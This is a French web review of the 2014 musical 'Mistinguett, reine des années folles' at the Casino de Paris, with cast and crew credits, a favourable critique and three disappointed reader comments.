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Mistinguett (Critique)

Le lundi 29 septembre 2014 à 23 h 00 min | Par | Rubrique : Critique, Théâtre musical

Lieu : Casino de Paris - 16 rue de Clichy - 75009 Paris - M° Trinité.
Dates : Du 20 septembre 2014 au 18 janvier 2015.
Horaires : Du jeudi au samedi à 20h. Le samedi à 15h. Le dimanche à 17h.
Tarifs : De 49 à 93 €.

mistinguettMise en scène : François Chouquet
Chorégraphe : Guillaume Bordier
Livret : Jacques Pessis, Ludovic-Alexandre Vidal, François Chouquet
Compositeurs : Jean-Pierre Pilot, William Rousseau
Paroles des chansons : Vincent Baguian
Décors: Bernard Arnould
Costumes: Frédéric Olivier
Lumières: Wavier Lauwers

Avec: Carmen Maria Vega, Patrice Maktav, Cyril Romoli, Fabian Richard, Mathilde Ollivier, Gregory Benchenafi, Philippe Escande, Guillaume Delvingt

Après Les 10 Commandements, Le Roi Soleil, Mozart l’opéra rock et 1789, les Amants de la Bastille, Albert Cohen présente son nouveau spectacle musical Mistinguett, reine des années folles.

Notre avis:
C’est d’abord un nom. Un surnom plutôt, inscrit au panthéon du spectacle. Celui de la petite Jeanne Bourgeois qui ne vivait que pour la scène. C’est ensuite une époque. Celle d’une France en noir et blanc, traumatisée par la guerre et qui n’attendait qu’une paire de gambettes pour retrouver des couleurs. Mais c’est surtout un symbole. Celui des grandes revues parisiennes dont la réputation fit le tour du monde. Cela fait certes beaucoup pour une seule personne, mais n’est pas reine des années folles qui veut. Les auteurs de Mistinguett l’ont bien compris et se sont donné les moyens pour être à la hauteur de la légende sur les lieux mêmes où l’héroïne leva la jambe il y a près d’un siècle.
Se focalisant sur le récit de son grand retour sur les planches en 1920 et les péripéties liées à la création de sa future revue, Mistinguett est une grande soirée de théâtre musical – au sens propre. La comédie prenant largement le pas sur les chansons, les répliques ne sont pas réduites à des prétextes expédiés à la va-vite entre deux tubes : une rareté dans ce genre de show. De même, évitant – à une ou deux exceptions – les chorégraphies inutiles et « fourre-tout », le spectacle préfère miser sur de grands tableaux d’ensemble s’inscrivant parfaitement dans le récit. Un choix judicieux, porté par des compositions teintées d’années folles et les versions modernisées de titres de l’époque. Après une première partie installant le contexte, l’intrigue et les personnages, la suite est davantage riche en actions et en dynamisme, mise en scène à la manière d’un film. Comme autant de fondus-enchainés, les grandes scènes y alternent avec des échanges plus intimistes, bénéficiant parfois d’un charme supplémentaire avec la présence de musiciens sur scène. De présentation des costumes en ultimes répétitions, en passant par quelques filouteries de tout bord et la création de « Mon homme », toute la troupe nous entraine vers la grande première. L’occasion de retrouver des valeurs sûres, Fabian Richard, Cyril Romoli ou Gregory Benchenafi dont le numéro de claquettes est aussi formidable qu’inattendu. L’occasion aussi de découvrir à leurs côtés, la jeune Mathilde Ollivier. Agée d’à peine 20 ans, elle réussit haut la main son premier rôle sur scène qui n’est surement pas le dernier.
Mais la véritable révélation de ce show reste indéniablement Carmen Maria Vega. Incarnant à merveille l’héroïne, cette femme de caractère, fougueuse et passionnée, la chanteuse se révèle une vraie showgirl. Tantôt garçonne avec son langage de charretier – que ne renierait pas l’ombre de Piaf- elle se fait fragile et féline sous la lumière tamisée. Et lorsque sa gouaille de poulbot laisse place à une voix écorchée qui résonne a capella, c’est tout le Casino de Paris qui se laisse emporter, prêt comme elle à « oser les larmes ». L’inévitable descente du grand escalier, parmi plumes et paillettes, lui offre un couronnement en apothéose. Au fronton du théâtre musical, Carmen Maria Vega peut désormais inscrire son nom. Que Mistinguett, Reine des années folles dorme tranquille, la succession du trône est assurée.

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3 commentaires
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  1. Je vous trouve assez gentils sur la critique.
    Si la performance de Carmen Maria Vega est très bonne, ainsi que celle de Gregory Benchenafi, on ne peut pas en dire autant de certains autres artistes.
    Surtout, il y a beaucoup trop de texte, pas très réussi. Et quelques blagues lourdingues.
    On vient voir une comédie musicale et on se retrouve avec un spectacle plus parlé que chanté.
    La 1ère partie est assez faible. L’histoire du théâtre transformé en parking est sans intérêt.
    J’aurais préféré que l’intrigue se concentrât sur les personnages et leurs relations.
    Dommage aussi de bâcler les chansons historiques de Mistinguett.
    Côté positif: les numéros dansés (trop rares), les décors et costumes et le final.
    Pour conclure, je m’attendais à mieux de la part du producteur des « Dix commandements », du « Roi Soleil »,…
    La tiédeur des applaudissements à la fin m laisse penser que je n’étais pas le seul à être déçu.
    Dommage…

  2. Je suis abasourdie par la mauvaise qualité de ce spectacle , les chansons contemporaines qui sont creuses , vulgaires et mal écrites , la distribution , à part le « méchant » , la jeune fille et le régisseur , les autres surjouent terriblement et la mise en scène est inexistante ………Tout ça est vulgaire et racoleur et l’on entend que 2 chansons de Mistinguett , le final est Bling Bling et on en met plein la vue du spectateur qui se croit obligé de faire une standing ovation puisqu’il y a 40 personnes sur scène alors que pendant le spectacle il y a très peu d’applaudissements . L’actrice principale chante très bien les deux chansons de mistinguett mais marche comme un camionneur et n’est pas du tout une actrice , de plus personne n’a songé à masquer ses tatouages ( !!!!!) . Bref c’est du spectacle grand public dans le mauvais sens de ce terme . Mais comment dire sans être méprisant , c’est le public de Patrick Sébastien, ça bouge , il y a des filles un peu dénudées on évoque un personnage populaire et aimé et puis il y a des plumes et encore des plumes alors forcement….. Mais je trouve ce spectacle raté et racoleur !

  3. Assez déçue par le spectacle (je suis arrivée à m’endormir dans la premiére partie) cela ne m’était jamais arrivé! J’étais venue assister à une comédie musicale et pour cette premiére partie ,du « théâtre » très médiocre! Pas assez de chansons de cette époque, Carmen à une belle voix e t un bon jeu mais n’a rien à voir physiquement avec Mistinguet,,petite, jambes courtes et un peu rondelette! Bref la fin avec plumes pailletes m’a rappelée que c’était « Les années folles » Je ne le conseillerai pas.

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